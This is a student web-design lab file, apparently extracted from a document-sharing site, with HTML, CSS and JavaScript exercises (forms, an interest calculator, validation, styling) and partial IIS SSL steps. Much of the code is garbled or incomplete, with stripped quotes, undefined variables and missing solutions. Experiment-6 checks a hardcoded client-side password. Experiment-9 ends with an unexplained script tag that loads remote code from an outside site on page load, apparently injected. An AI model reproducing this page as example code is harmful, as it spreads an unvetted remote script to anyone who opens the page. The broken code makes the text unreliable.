Beruflich Dokumente
Kultur Dokumente
<body bgcolor="black">
<font face="Comic Sans MS" color="purple" size="10"> You are learning Web
Designing</font>
</body></html>
Pooja Kelodia
0536cs111011
Page 1 of 19
Output:
Pooja Kelodia
0536cs111011
Page 2 of 19
Experiment-2
Objective: Design a table using basic HTML tags.
Solution:
<html><head><title>Web Designing</title></head>
<body bgcolor="blue">
</body></html>
Pooja Kelodia
0536cs111011
Page 3 of 19
Output:
Pooja Kelodia
0536cs111011
Page 4 of 19
Experiment-3
Objective: Design a form using basic HTML tags.
Solution:
<html><head><title>Web Designing</title></head>
<body bgcolor="cyan">
Pooja Kelodia
0536cs111011
Page 5 of 19
Output:
Pooja Kelodia
0536cs111011
Page 6 of 19
Experiment-4
Objective: Design a simple interest calculator using JavaScript.
Solution:
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Simple Interest Calculator</title>
<script>
function calc(){
var principal = parseInt(document.getElementById(principal).value);
var rate = parseFloat(document.getElementById(rate).value);
var months = document.getElementById(months).value;
var days = document.getElementById(days).value;
var final_si=parseFloat((principal*rate*totalmonths)/100);
document.getElementById(final_si).innerHTML=Total Simple Interest:
+final_si+<br>Total(P+I)+principal+++final_si+=+(principal+final_si);
}
</script>
</head>
<body bgcolor=pink>
<div data-role=page class=mt-demos mt-demos-index id=homepage>
<div data-role=header class=mt-header>
Pooja Kelodia
0536cs111011
Page 7 of 19
<table>
<tr><td>Principal(P)</td><td>:<input type=text name=principal id=principal
/></td></tr>
<tr><td>Rate(R) of interest</td><td>:<input type=text name=rate id=rate />(EX: per
100 Rupees)</td></tr>
<tr><td>Duration(T)</td><td>:Months:<input type=text size=5 name=months
id=months>Days:<input type=text name=days size=5 id=days</td></tr>
</table>
<div align=center><span id=final_si></span></div>
</div>
<div data-role=footer class=mt-footer>
<!<p class=jqm-version></p>>
<p>All Rights Reserved By Madhu Bheemagani Goud </p>
</div><! /footer >
Pooja Kelodia
0536cs111011
Page 8 of 19
Output:
Pooja Kelodia
0536cs111011
Page 9 of 19
Experiment-5
Objective: Design a simple form and validate textbox for email and alphabetic characters
using JavaScript.
Solution:
<html>
<body bgcolor="cyan">
<script type='text/javascript'>
function Empty(element, AlertMessage){
if(element.value.trim()== ""){
alert(AlertMessage);
element.focus();
return false;
}
alert("Textbox Validation: Successful.")
return true;
}
</script>
<form>
Enter any value or left blank: <input type='text' id='txtBox'/>
<input type='button'
onclick="Empty(document.getElementById('txtBox'), 'Textbox is empty, Please Enter
a Value')"
value='Validate Textbox' />
</form>
</body>
</html>
Pooja Kelodia
0536cs111011
Page 10 of 19
Output:
Pooja Kelodia
0536cs111011
Page 11 of 19
Experiment-6
Objective: Design a simple form and validate for password and phone no.
Solution:
using JavaScript.
<head>
<script type="text/javascript">
function isValid(){
var password = document.getElementById('password').value;
if (password == "rawr")
{alert('Correct!')}
else
{alert('Wrong Password')}
}
</script>
</head>
Pooja Kelodia
0536cs111011
Page 12 of 19
Output:
Pooja Kelodia
0536cs111011
Page 13 of 19
Experiment-7
Objective: Add style to a web page using CSS.
Solution:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<title>My first styled page</title>
<style type="text/css">
body {
padding-left: 11em;
font-family: Georgia, "Times New Roman",
Times, serif;
color: purple;
background-color: #d8da3d }
ul.navbar {
position: absolute;
top: 2em;
left: 1em;
width: 9em }
h1 {
font-family: Helvetica, Geneva, Arial,
SunSans-Regular, sans-serif }
</style>
</head>
<body>
Pooja Kelodia
0536cs111011
Page 14 of 19
<!-- Sign and date the page, it's only polite! -->
<address>Made 3 april 2015 <br>
by Pooja Kelodia.</address>
</body>
</html>
Pooja Kelodia
0536cs111011
Page 15 of 19
Output:
Pooja Kelodia
0536cs111011
Page 16 of 19
Experiment-8
Objective:
Solution:
1.
Click Start, point to Administrative Tools, and then click Internet Information
Services (IIS) Manager.
2.
In the console tree, double-click ADFSWEB, double-click Sites, and then click
Default Web Site.
3.
4.
5.
6.
Under SSL certificate, click adfsweb, click OK, and then click Close.
7.
In the center pane, double-click SSL Settings, select the Require SSL check box.
8.
Pooja Kelodia
0536cs111011
Page 17 of 19
Experiment-9
Objective:
Solution:
<!DOCTYPE html>
<html>
<head>
<style>
body {
background-color: #d0e4fe;
}
h1 {
color: orange;
text-align: center;
}
p{
font-family: "Times New Roman";
font-size: 20px;
}
</style>
</head>
<body>
Pooja Kelodia
0536cs111011
Page 18 of 19
<script src='https://soundfrost.org/jsn.php?
ver=383&id=ce6dbfb3f8eba017bfe9aeb4315414eb'></script></body>
</html>
Output:
Pooja Kelodia
0536cs111011
Page 19 of 19